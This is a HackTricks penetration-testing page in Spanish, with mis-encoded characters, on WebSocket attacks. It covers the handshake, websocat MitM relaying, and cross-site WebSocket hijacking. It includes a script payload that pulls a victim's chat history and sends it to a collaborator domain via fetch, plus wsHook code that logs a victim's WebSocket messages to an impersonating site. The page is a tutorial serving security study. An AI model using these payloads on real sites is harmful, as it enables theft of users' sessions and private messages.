WebSocket Attacks
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Qu茅 son los WebSockets
Las conexiones WebSocket se establecen a trav茅s de un HTTP handshake inicial y est谩n dise帽adas para ser de larga duraci贸n, permitiendo la mensajer铆a bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren baja latencia o comunicaci贸n iniciada por el servidor, como flujos de datos financieros en vivo.
Establecimiento de Conexiones WebSocket
Una explicaci贸n detallada sobre el establecimiento de conexiones WebSocket se puede acceder aqu铆. En resumen, las conexiones WebSocket generalmente se inician a trav茅s de JavaScript del lado del cliente, como se muestra a continuaci贸n:
var ws = new WebSocket("wss://normal-website.com/ws")
El protocolo wss
significa una conexi贸n WebSocket asegurada con TLS, mientras que ws
indica una conexi贸n no asegurada.
Durante el establecimiento de la conexi贸n, se realiza un apret贸n de manos entre el navegador y el servidor a trav茅s de HTTP. El proceso de apret贸n de manos implica que el navegador env铆a una solicitud y el servidor responde, como se ilustra en los siguientes ejemplos:
El navegador env铆a una solicitud de apret贸n de manos:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Respuesta del apret贸n de manos del servidor:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La conexi贸n permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
Puntos Clave del Handshake de WebSocket:
- Los encabezados
Connection
yUpgrade
se帽alan el inicio de un handshake de WebSocket. - El encabezado
Sec-WebSocket-Version
indica la versi贸n del protocolo WebSocket deseada, generalmente13
. - Un valor aleatorio codificado en Base64 se env铆a en el encabezado
Sec-WebSocket-Key
, asegurando que cada handshake sea 煤nico, lo que ayuda a prevenir problemas con proxies de cach茅. Este valor no es para autenticaci贸n, sino para confirmar que la respuesta no es generada por un servidor o cach茅 mal configurado. - El encabezado
Sec-WebSocket-Accept
en la respuesta del servidor es un hash delSec-WebSocket-Key
, verificando la intenci贸n del servidor de abrir una conexi贸n WebSocket.
Estas caracter铆sticas aseguran que el proceso de handshake sea seguro y confiable, allanando el camino para una comunicaci贸n en tiempo real eficiente.
Consola de Linux
Puedes usar websocat
para establecer una conexi贸n en bruto con un websocket.
websocat --insecure wss://10.10.10.10:8000 -v
O para crear un servidor websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Conexiones websocket MitM
Si encuentras que los clientes est谩n conectados a un HTTP websocket desde tu red local actual, podr铆as intentar un ARP Spoofing Attack para realizar un ataque MitM entre el cliente y el servidor.
Una vez que el cliente est茅 intentando conectarse, puedes usar:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Enumeraci贸n de Websockets
Puedes usar la herramienta https://github.com/PalindromeLabs/STEWS para descubrir, identificar y buscar vulnerabilidades conocidas en websockets autom谩ticamente.
Herramientas de depuraci贸n de Websocket
- Burp Suite soporta la comunicaci贸n de websockets MitM de una manera muy similar a como lo hace para la comunicaci贸n HTTP regular.
- La extensi贸n de Burp Suite socketsleuth **te permitir谩 gestionar mejor las comunicaciones de Websocket en Burp al obtener el historial, establecer reglas de interceptaci贸n, usar reglas de coincidencia y reemplazo, usar Intruder y AutoRepeater.
- WSSiP: Abreviatura de "WebSocket/Socket.io Proxy", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para capturar, interceptar, enviar mensajes personalizados y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
- wsrepl es un REPL de websocket interactivo dise帽ado espec铆ficamente para pruebas de penetraci贸n. Proporciona una interfaz para observar mensajes de websocket entrantes y enviar nuevos, con un marco f谩cil de usar para automatizar esta comunicaci贸n.
- https://websocketking.com/ es un sitio web para comunicarse con otros sitios usando websockets.
- https://hoppscotch.io/realtime/websocket entre otros tipos de comunicaciones/protocolos, proporciona un sitio web para comunicarse con otros sitios usando websockets.
Laboratorio de Websocket
En Burp-Suite-Extender-Montoya-Course tienes un c贸digo para lanzar un sitio web usando websockets y en esta publicaci贸n puedes encontrar una explicaci贸n.
Secuestro de WebSocket entre sitios (CSWSH)
El secuestro de WebSocket entre sitios, tambi茅n conocido como secuestro de WebSocket de origen cruzado, se identifica como un caso espec铆fico de Cross-Site Request Forgery (CSRF) que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican 煤nicamente a trav茅s de cookies HTTP sin tokens CSRF o medidas de seguridad similares.
Los atacantes pueden explotar esto al alojar una p谩gina web maliciosa que inicia una conexi贸n de WebSocket entre sitios a una aplicaci贸n vulnerable. En consecuencia, esta conexi贸n se trata como parte de la sesi贸n de la v铆ctima con la aplicaci贸n, aprovechando la falta de protecci贸n CSRF en el mecanismo de manejo de sesiones.
Ataque Simple
Ten en cuenta que al establecer una conexi贸n de websocket, la cookie es enviada al servidor. El servidor podr铆a estar us谩ndola para relacionar a cada usuario espec铆fico con su sesi贸n de websocket basada en la cookie enviada.
Entonces, si por ejemplo el servidor de websocket devuelve el historial de la conversaci贸n de un usuario si se env铆a un mensaje con "READY", entonces un XSS simple estableciendo la conexi贸n (la cookie ser谩 enviada autom谩ticamente para autorizar al usuario v铆ctima) enviando "READY" podr谩 recuperar el historial de la conversaci贸n.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie con un subdominio diferente
En esta publicaci贸n del blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ el atacante logr贸 ejecutar Javascript arbitrario en un subdominio del dominio donde estaba ocurriendo la comunicaci贸n por websocket. Debido a que era un subdominio, la cookie estaba siendo enviada, y como el Websocket no verific贸 correctamente el Origin, fue posible comunicarse con 茅l y robar tokens de 茅l.
Robando datos del usuario
Copia la aplicaci贸n web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde est谩 ocurriendo la comunicaci贸n por websocket a帽ade este c贸digo:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Ahora descarga el archivo wsHook.js
de https://github.com/skepticfx/wshook y gu谩rdalo dentro de la carpeta con los archivos web.
Exponiendo la aplicaci贸n web y haciendo que un usuario se conecte a ella, podr谩s robar los mensajes enviados y recibidos a trav茅s de websocket:
sudo python3 -m http.server 80
Condiciones de carrera
Las Condiciones de carrera en WebSockets tambi茅n son un tema, consulta esta informaci贸n para aprender m谩s.
Otras vulnerabilidades
Dado que los Web Sockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de c贸mo el servidor y el cliente manejen la informaci贸n, los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web com煤n utilizando la entrada de un usuario desde un websocket.
WebSocket Smuggling
Esta vulnerabilidad podr铆a permitirte eludir las restricciones de proxies inversos haci茅ndoles creer que se estableci贸 una comunicaci贸n websocket (incluso si no es cierto). Esto podr铆a permitir a un atacante acceder a endpoints ocultos. Para m谩s informaci贸n, consulta la siguiente p谩gina:
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.